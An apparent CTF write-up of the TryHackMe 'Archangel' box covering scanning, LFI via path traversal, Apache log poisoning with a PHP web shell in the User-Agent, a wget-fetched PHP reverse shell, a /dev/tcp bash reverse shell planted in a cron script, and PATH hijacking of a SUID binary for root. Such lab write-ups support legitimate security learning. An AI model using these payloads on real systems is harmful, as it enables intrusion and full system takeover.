Archangel

By Praveen Kumar Sharma

For me IP of the machine is : 10.10.185.114
Lets try pinging it real quick

```
ping 10.10.185.114 -c 5

PING 10.10.185.114 (10.10.185.114) 56(84) bytes of data.
64 bytes from 10.10.185.114: icmp_seq=1 ttl=60 time=159 ms
64 bytes from 10.10.185.114: icmp_seq=2 ttl=60 time=173 ms
64 bytes from 10.10.185.114: icmp_seq=3 ttl=60 time=250 ms
64 bytes from 10.10.185.114: icmp_seq=4 ttl=60 time=177 ms
64 bytes from 10.10.185.114: icmp_seq=5 ttl=60 time=176 ms

--- 10.10.185.114 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4004ms
rtt min/avg/max/mdev = 159.291/186.977/249.792/32.042 ms
```

Alright lets do some port scanning now

Port Scanning :

All Port Scan :

```
rustscan -a 10.10.185.114 --ulimit 5000
```

```
rustscan -a 10.10.185.114 --ulimit 5000

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----''----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.

________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
You miss 100% of the ports you don't scan. - RustScan

[~] The config file is expected to be at "/home/pks/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.185.114:22
Open 10.10.185.114:80
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2024-09-18 20:42 IST
Initiating Ping Scan at 20:42
Scanning 10.10.185.114 [2 ports]
Completed Ping Scan at 20:42, 0.36s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 20:42
Completed Parallel DNS resolution of 1 host. at 20:42, 0.05s elapsed
DNS resolution of 1 IPs took 0.05s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 20:42
Scanning 10.10.185.114 [2 ports]
Discovered open port 22/tcp on 10.10.185.114
Discovered open port 80/tcp on 10.10.185.114
Completed Connect Scan at 20:42, 0.19s elapsed (2 total ports)
Nmap scan report for 10.10.185.114
Host is up, received syn-ack (0.32s latency).
Scanned at 2024-09-18 20:42:14 IST for 1s

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack
80/tcp open  http    syn-ack

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.63 seconds
```

Open ports

PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack

Lets do an aggressive scan on these

Aggressive Scan :

```
nmap -sC -sV -A -T5 -n -Pn -p 22,80 10.10.185.114 -o aggressiveScan.txt
```

```
nmap -sC -sV -A -T5 -n -Pn -p 22,80 10.10.185.114 -o aggressiveScan.txt

Starting Nmap 7.95 ( https://nmap.org ) at 2024-09-18 20:45 IST
Nmap scan report for 10.10.185.114
Host is up (0.36s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 9f:1d:2c:9d:6c:a4:0e:46:40:50:6f:ed:cf:1c:f3:8c (RSA)
|   256 63:73:27:c7:61:04:25:6a:08:70:7a:36:b2:f2:84:0d (ECDSA)
|_  256 b6:4e:d2:9c:37:85:d6:76:53:e8:c4:e0:48:1c:ae:6c (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Wavefire
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.42 seconds
```

Aggressive scan

```
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux;
protocol 2.0)
| ssh-hostkey:
| 2048 9f:1d:2c:9d:6c:a4:0e:46:40:50:6f:ed:cf:1c:f3:8c (RSA)
| 256 63:73:27:c7:61:04:25:6a:08:70:7a:36:b2:f2:84:0d (ECDSA)
|_ 256 b6:4e:d2:9c:37:85:d6:76:53:e8:c4:e0:48:1c:ae:6c (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Wavefire
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Alright lets do some directory fuzzing next

Directory Fuzzing :

```
feroxbuster --url http://10.10.185.114 -t 200 -w
/usr/share/wordlists/dirb/common.txt
```

```
feroxbuster --url http://10.10.185.114 -t 200 -w /usr/share/wordlists/dirb/common.txt

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 😊                 ver: 2.10.4
────────────────────────────────────────────────────────────
🎯 Target Url            http://10.10.185.114
🚀 Threads               200
📖 Wordlist              /usr/share/wordlists/dirb/common.txt
👌 Status Codes          All Status Codes!
💥 Timeout (secs)        7
🦡 User-Agent            feroxbuster/2.10.4
💉 Config File           /home/pks/.config/feroxbuster/ferox-config.toml
🔎 Extract Links         true
🏁 HTTP methods          [GET]
🔃 Recursion Depth       4
🎉 New Version Available https://github.com/epi052/feroxbuster/releases/latest
────────────────────────────────────────────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
────────────────────────────────────────────────────────────
404      GET        9l       31w      275c Auto-filtering found 404-like response and created new filter; toggle
403      GET        9l       28w      278c Auto-filtering found 404-like response and created new filter; toggle
200      GET       22l       56w      642c http://10.10.185.114/layout/scripts/jquery.backtotop.js
200      GET       15l       82w     1324c http://10.10.185.114/layout/scripts/jquery.mobilemenu.js
200      GET       15l       90w     4958c http://10.10.185.114/images/demo/348x261.png
200      GET      320l     1270w    19188c http://10.10.185.114/index.html
200      GET      232l      727w    13209c http://10.10.185.114/pages/gallery.html
200      GET      368l     1285w    18989c http://10.10.185.114/pages/sidebar-left.html
200      GET       86l      610w    36802c http://10.10.185.114/images/demo/backgrounds/01.png
200      GET      368l     1285w    18991c http://10.10.185.114/pages/sidebar-right.html
200      GET      312l     1113w    16591c http://10.10.185.114/pages/full-width.html
200      GET      458l     1521w    20976c http://10.10.185.114/layout/styles/layout.css
200      GET        2l     1283w    86927c http://10.10.185.114/layout/scripts/jquery.min.js
301      GET        9l       28w      314c http://10.10.185.114/flags => http://10.10.185.114/flags/
200      GET        1l        5w       93c http://10.10.185.114/flags/flag.html
301      GET        9l       28w      315c http://10.10.185.114/images => http://10.10.185.114/images/
301      GET        9l       28w      315c http://10.10.185.114/layout => http://10.10.185.114/layout/
301      GET        9l       28w      314c http://10.10.185.114/pages => http://10.10.185.114/pages/
200      GET      320l     1270w    19188c http://10.10.185.114/
200      GET        0l        0w        0c http://10.10.185.114/layout/scripts/
200      GET        0l        0w        0c http://10.10.185.114/layout/styles/
200      GET        0l        0w        0c http://10.10.185.114/images/demo/
200      GET        0l        0w        0c http://10.10.185.114/images/demo/backgrounds/
301      GET        9l       28w      320c http://10.10.185.114/images/demo => http://10.10.185.114/images/demo/
301      GET        9l       28w      332c http://10.10.185.114/images/demo/backgrounds => http://10.10.185.114/
[####################] - 44s    36946/36946   0s      found:23      errors:22328
```

Directories

200 GET 22l 56w 642c http://10.10.185.114/layout/scripts/jquery.backtotop.js
200 GET 15l 82w 1324c http://10.10.185.114/layout/scripts/jquery.mobilemenu.js
200 GET 15l 90w 4958c http://10.10.185.114/images/demo/348x261.png
200 GET 320l 1270w 19188c http://10.10.185.114/index.html

```
200 GET 232l 727w 13209c http://10.10.185.114/pages/gallery.html
200 GET 368l 1285w 18989c http://10.10.185.114/pages/sidebar-left.html
200 GET 86l 610w 36802c http://10.10.185.114/images/demo/backgrounds/01.png
200 GET 368l 1285w 18991c http://10.10.185.114/pages/sidebar-right.html
200 GET 312l 1113w 16591c http://10.10.185.114/pages/full-width.html
200 GET 458l 1521w 20976c http://10.10.185.114/layout/styles/layout.css
200 GET 2l 1283w 86927c http://10.10.185.114/layout/scripts/jquery.min.js
301 GET 9l 28w 314c http://10.10.185.114/flags ⇒ http://10.10.185.114/flags/
200 GET 1l 5w 93c http://10.10.185.114/flags/flag.html
301 GET 9l 28w 315c http://10.10.185.114/images ⇒ http://10.10.185.114/images/
301 GET 9l 28w 315c http://10.10.185.114/layout ⇒ http://10.10.185.114/layout/
301 GET 9l 28w 314c http://10.10.185.114/pages ⇒ http://10.10.185.114/pages/
200 GET 320l 1270w 19188c http://10.10.185.114/
200 GET 0l 0w 0c http://10.10.185.114/layout/scripts/
200 GET 0l 0w 0c http://10.10.185.114/layout/styles/
200 GET 0l 0w 0c http://10.10.185.114/images/demo/
200 GET 0l 0w 0c http://10.10.185.114/images/demo/backgrounds/
301 GET 9l 28w 320c http://10.10.185.114/images/demo ⇒ http://10.10.185.114/images/demo/
301 GET 9l 28w 332c http://10.10.185.114/images/demo/backgrounds ⇒ http://10.10.185.114/images/demo/backgrounds/
```

Alright moving on lets get to this web application

Web Application :

Default page :

So there is this "mafialive.thm" in the email here

Lets add mafialive.thm in /etc/hosts

```
# Static table lookup for hostnames.
# See hosts(5) for details.
#
10.10.11.25     greenhorn.htb
192.168.110.76  symfonos.local
192.168.110.101 breakout
10.10.235.31    cyberlens.thm
10.10.236.168   bricks.thm
10.10.37.234    airplane.thm
10.10.11.18     usage.htb
10.10.11.28     sea.htb
10.10.11.13     runner.htb      TeamCity.runner.htb
10.10.11.27     itrc.ssg.htb    resource.htb    signserv.ssg.htb
10.10.11.11     board.htb       crm.board.htb
10.10.10.245    cap.htb
10.10.11.30     monitorsthree.htb
10.10.191.210   olympus.thm     chat.olympus.thm
10.10.11.254    skyfall.htb     demo.skyfall.htb        prd23-s3
10.10.85.102    seasurfer.thm   internal.seasurfer.thm
10.10.213.69    bitme.thm
10.10.44.10     kitty.thm
10.129.234.56   board.htb       crm.board.htb
10.10.43.61     team.thm        dev.team.thm
10.10.19.254    magician
10.10.185.114   mafialive.thm
~
```

Now lets see this new domain now

Here is the first flag here

Lets search for its directory now with feroxbuster

```
feroxbuster --url http://mafialive.thm -t 200 -w /usr/share/wordlists/dirb/common.txt

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.4
────────────────────────────────────────────────────────────
🎯 Target Url            http://mafialive.thm
🚀 Threads               200
📖 Wordlist              /usr/share/wordlists/dirb/common.txt
👌 Status Codes          All Status Codes!
💥 Timeout (secs)        7
🦡 User-Agent            feroxbuster/2.10.4
💉 Config File           /home/pks/.config/feroxbuster/ferox-config.toml
🔎 Extract Links         true
🏁 HTTP methods          [GET]
🔃 Recursion Depth       4
🎉 New Version Available https://github.com/epi052/feroxbuster/releases/latest
────────────────────────────────────────────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
────────────────────────────────────────────────────────────
200      GET       15l       21w      286c http://mafialive.thm/test.php
404      GET        9l       31w      275c Auto-filtering found 404-like response and c
403      GET        9l       28w      278c Auto-filtering found 404-like response and c
200      GET        3l        3w       59c http://mafialive.thm/
200      GET        3l        3w       59c http://mafialive.thm/index.html
200      GET        2l        4w       34c http://mafialive.thm/robots.txt
[####################] - 16s     4615/4615    0s      found:4       errors:145
[####################] - 15s     4614/4614    306/s   http://mafialive.thm/
```

Directories in mafialive.thm

200 GET 15l 21w 286c http://mafialive.thm/test.php
200 GET 3l 3w 59c http://mafialive.thm/
200 GET 3l 3w 59c http://mafialive.thm/index.html
200 GET 2l 4w 34c http://mafialive.thm/robots.txt

Lets see this /robots.txt next

Not Secure http://mafialive.thm/robots.txt

```
User-agent: *
Disallow: /test.php
```

Found this already with the scan

Lets click on this

Look at the url uptop so it looks like a LFI i tried a few things here but this one seem to work

Not secure | http://mafialive.thm/test.php?view=/var/www/html/development_testing//..//..//..//..//etc/passwd

Test Page. Not to be Deployed

Here is a button

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin syslog:x:102:106::/home/syslog:/usr/sbin/nologin messagebus:x:103:107::/nonexistent:/usr/sbin/nologin _apt:x:104:65534::/nonexistent:/usr/sbin/nologin uuidd:x:105:109::/run/uuidd:/usr/sbin/nologin sshd:x:106:65534::/run/sshd:/usr/sbin/nologin archangel:x:1001:1001:Archangel,,,:/home/archangel:/bin/bash

Got the LFI

Gaining Access :

So first we need to convert this to RCE now to do this we can include our php webshell in a request to set it to get RCE with apache2 access logs

Request

Pretty Raw Hex

```
1 GET /test.php HTTP/1.1
2 Host: mafialive.thm
3 DNT: 1
4 Upgrade-Insecure-Requests: 1
5 User-Agent: Mozilla/5.0 <?php system($_GET['cmd']); ?>
  (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
  Gecko) Chrome/124.0.0.0 Safari/537.36
6 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,
  image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,a
  pplication/signed-exchange;v=b3;q=0.7
7 Accept-Encoding: gzip, deflate, br
8 Accept-Language: en-US,en;q=0.9
9 Connection: keep-alive
10
11
```

Response

Pretty Raw Hex Render

```
1 HTTP/1.1 200 OK
2 Date: Wed, 18 Sep 2024 15:50:27 GMT
3 Server: Apache/2.4.29 (Ubuntu)
4 Vary: Accept-Encoding
5 Content-Length: 286
6 Keep-Alive: timeout=5, max=100
7 Connection: Keep-Alive
8 Content-Type: text/html; charset=UTF-8
9
10
11 <!DOCTYPE HTML>
12 <html>
13
14   <head>
15     <title>
         INCLUDE
       </title>
16     <h1>
         Test Page. Not to be Deployed
       </h1>
```

Now we should have RCE now to test this u can go on this URL to see the output

```
::1 - - [18/Sep/2024:21:05:09 +0530] "OPTIONS * HTTP/1.0" 200 126 "-" "Apache/2.4.29 (Ubuntu) (internal dummy connection)"
10.17.94.2 - - [18/Sep/2024:21:12:15 +0530] "GET /test.php HTTP/1.1" 200 458 "-" "curl/8.10.0"
10.17.94.2 - - [18/Sep/2024:21:12:40 +0530] "GET /test.php HTTP/1.1" 200 473 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Ge
10.17.94.2 - - [18/Sep/2024:21:12:40 +0530] "GET /favicon.ico HTTP/1.1" 404 491 "http://mafialive.thm/test.php" "Mozilla/5.0 (X11; Linux x86_64) Appl
10.17.94.2 - - [18/Sep/2024:21:14:51 +0530] "GET /test.php?view=/var/www/html/development_testing/mrrobot.php HTTP/1.1" 200 486 "http://mafialive.thm
10.17.94.2 - - [18/Sep/2024:21:16:07 +0530] "GET /test.php?view=/var/www/html/development_testing//..//..//..//etc/passwd HTTP/1.1" 200 473 "-" "Moz
10.17.94.2 - - [18/Sep/2024:21:16:16 +0530] "GET /test.php?view=/var/www/html/development_testing//..//..//..//..//etc/passwd HTTP/1.1" 200 949 "-"
10.17.94.2 - - [18/Sep/2024:21:18:59 +0530] "GET /test.php HTTP/1.1" 200 473 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Ge
10.17.94.2 - - [18/Sep/2024:21:20:27 +0530] "GET /test.php HTTP/1.1" 200 473 "-" "Mozilla/5.0 uid=33(www-data) gid=33(www-data) groups=33(www-data)
 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"
    </div>
</body>
```

Lets upload a php revshell on there so we get a revshell easily
So download the pentest monkey revshell from their github

Edit the revshell here

```
// See http://pentestmonkey.net/tools/php-revs

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.17.94.2';  // CHANGE THIS
$port = 9001;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
```

Start a python server

```
sudo python3 -m http.server 80

[sudo] password for pks:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

Not upload this by using the wget command in the RCE

```
http://mafialive.thm/test.php?
view=/var/www/html/development_testing//..//..//..//log/apache2/access.log&c
md=wget%20http://10.17.94.2/revshell.php
```

Now it should be uploaded now we can go to `http://mafialive.thm/revshell.php` to get a revshell now

First start a listener

```
nc -lnvp 9001

Listening on 0.0.0.0 9001
```

Now go to the URL : `http://mafialive.thm/revshell.php`

And we have our shell here

```
nc -lnvp 9001

Listening on 0.0.0.0 9001
Connection received on 10.10.185.114 32840
Linux ubuntu 4.15.0-123-generic #126-Ubuntu SMP Wed Oct 21 09:40:11
 21:30:48 up 52 min,  0 users,  load average: 0.00, 0.00, 0.17
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
```

Now lets upgrade this

```
nc -lnvp 9001

Listening on 0.0.0.0 9001
Connection received on 10.10.185.114 32840
Linux ubuntu 4.15.0-123-generic #126-Ubuntu SMP Wed Oct 21 09:40:11 UTC
 21:30:48 up 52 min,  0 users,  load average: 0.00, 0.00, 0.17
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@ubuntu:/$ ^Z
[1]  + 20108 suspended  nc -lnvp 9001


~/Documents/Notes/Hands-on-Hacking/TryHackMe/Archangel git:(main)±3
stty raw -echo;fg

[1]  + 20108 continued  nc -lnvp 9001

www-data@ubuntu:/$ export TERM=xterm
www-data@ubuntu:/$
```

Lateral PrivEsc

I found this in the /opt directory while just searching manually

```
www-data@ubuntu:/opt$ ls
backupfiles  helloworld.sh
www-data@ubuntu:/opt$ ls -al
total 16
drwxrwxrwx  3 root      root      4096 Nov 20  2020 .
drwxr-xr-x 22 root      root      4096 Nov 16  2020 ..
drwxrwx---  2 archangel archangel 4096 Nov 20  2020 backupfiles
-rwxrwxrwx  1 archangel archangel   66 Nov 20  2020 helloworld.sh
www-data@ubuntu:/opt$
```

And this is a cronjob as well

```
www-data@ubuntu:/opt$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
*/1 *   * * *   archangel /opt/helloworld.sh
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts
#
www-data@ubuntu:/opt$
```

Lets just add a revshell in there first as we can edit it

```
www-data@ubuntu:/opt$ vi helloworld.sh
www-data@ubuntu:/opt$ cat helloworld.sh
#!/bin/bash
echo "hello world" >> /opt/backupfiles/helloworld.txt
bash -i >& /dev/tcp/10.17.94.2/9002 0>&1
www-data@ubuntu:/opt$
```

And start a listener now to get a shell as this user here

```
nc -lnvp 9002

Listening on 0.0.0.0 9002
Connection received on 10.10.185.114 38758
bash: cannot set terminal process group (1732): Inappropriate ioctl for device
bash: no job control in this shell
archangel@ubuntu:~$ id
id
uid=1001(archangel) gid=1001(archangel) groups=1001(archangel)
archangel@ubuntu:~$
```

Got it lets upgrade this

```
nc -lnvp 9002

Listening on 0.0.0.0 9002
Connection received on 10.10.185.114 38758
bash: cannot set terminal process group (1732): Inappropriate ioctl for device
bash: no job control in this shell
archangel@ubuntu:~$ id
id
uid=1001(archangel) gid=1001(archangel) groups=1001(archangel)
archangel@ubuntu:~$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
archangel@ubuntu:~$ ^Z
[1]  + 22241 suspended  nc -lnvp 9002
```

```
~/Documents/Notes/Hands-on-Hacking/TryHackMe/Archangel git:(main)±1
stty raw -echo;fg

[1]  + 22241 continued  nc -lnvp 9002

archangel@ubuntu:~$ export TERM=xterm
archangel@ubuntu:~$
```

Moving on there are a few flags here u can see em if u want

```
archangel@ubuntu:~$ ls -al
total 44
drwxr-xr-x 6 archangel archangel 4096 Nov 20  2020 .
drwxr-xr-x 3 root      root      4096 Nov 18  2020 ..
-rw-r--r-- 1 archangel archangel  220 Nov 18  2020 .bash_logout
-rw-r--r-- 1 archangel archangel 3771 Nov 18  2020 .bashrc
drwx------ 2 archangel archangel 4096 Nov 18  2020 .cache
drwxrwxr-x 3 archangel archangel 4096 Nov 18  2020 .local
drwxr-xr-x 2 archangel archangel 4096 Nov 18  2020 myfiles
-rw-r--r-- 1 archangel archangel  807 Nov 18  2020 .profile
drwxrwx--- 2 archangel archangel 4096 Nov 19  2020 secret
-rw-rw-r-- 1 archangel archangel   66 Nov 18  2020 .selected_editor
-rw-r--r-- 1 archangel archangel   26 Nov 19  2020 user.txt
archangel@ubuntu:~$ ls -al secret/
total 32
drwxrwx--- 2 archangel archangel  4096 Nov 19  2020 .
drwxr-xr-x 6 archangel archangel  4096 Nov 20  2020 ..
-rwsr-xr-x 1 root      root      16904 Nov 18  2020 backup
-rw-r--r-- 1 root      root         49 Nov 19  2020 user2.txt
archangel@ubuntu:~$ ls -al myfiles/
total 12
drwxr-xr-x 2 archangel archangel 4096 Nov 18  2020 .
drwxr-xr-x 6 archangel archangel 4096 Nov 20  2020 ..
-rw-r--r-- 1 root      root        44 Nov 18  2020 passwordbackup
archangel@ubuntu:~$
```

Vertical PrivEsc

Now lets see this backup file here as this has +s bit and its owned by root

```
-rw-r--r-- 1 root root 44 Nov 18  2023 password
archangel@ubuntu:~$ cd secret/
archangel@ubuntu:~/secret$ ls
backup  user2.txt
archangel@ubuntu:~/secret$ strings backup
/lib64/ld-linux-x86-64.so.2
setuid
system
__cxa_finalize
setgid
__libc_start_main
libc.so.6
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u+UH
[]A\A]A^A_
cp /home/user/archangel/myfiles/* /opt/backupfiles
:*3$"
GCC: (Ubuntu 10.2.0-13ubuntu1) 10.2.0
```

Now exploiting should be easy enough by the PATH changing trick

```
archangel@ubuntu:~/secret$ export PATH=/home/archangel/secret:$PATH
archangel@ubuntu:~/secret$ echo $PATH
/home/archangel/secret:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
archangel@ubuntu:~/secret$ vi cp
archangel@ubuntu:~/secret$ vi cp
archangel@ubuntu:~/secret$ cat cp
#!/bin/bash

bash -p
archangel@ubuntu:~/secret$ ./backup
cp: cannot stat '/home/user/archangel/myfiles/*': No such file or directory
archangel@ubuntu:~/secret$ ls -al
total 36
drwxrwx--- 2 archangel archangel  4096 Sep 18 21:46 .
drwxr-xr-x 6 archangel archangel  4096 Nov 20  2020 ..
-rwsr-xr-x 1 root      root      16904 Nov 18  2020 backup
-rw-rw-r-- 1 archangel archangel    21 Sep 18 21:46 cp
-rw-r--r-- 1 root      root         49 Nov 19  2020 user2.txt
archangel@ubuntu:~/secret$ chmod +x cp
archangel@ubuntu:~/secret$ ./backup
root@ubuntu:~/secret#
```

Got root now u can follow the same steps here

Here is your final flag i.e. root.txt

```
root@ubuntu:~/secret# ls -al /root
total 28
drwx------  4 root root 4096 Nov 20  2020 .
drwxr-xr-x 22 root root 4096 Nov 16  2020 ..
-rw-r--r--  1 root root 3106 Apr  9  2018 .bashrc
drwx------  2 root root 4096 Nov 18  2020 .cache
drwxr-xr-x  3 root root 4096 Nov 16  2020 .local
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root   68 Nov 19  2020 root.txt
root@ubuntu:~/secret#
```

Thanks for reading :)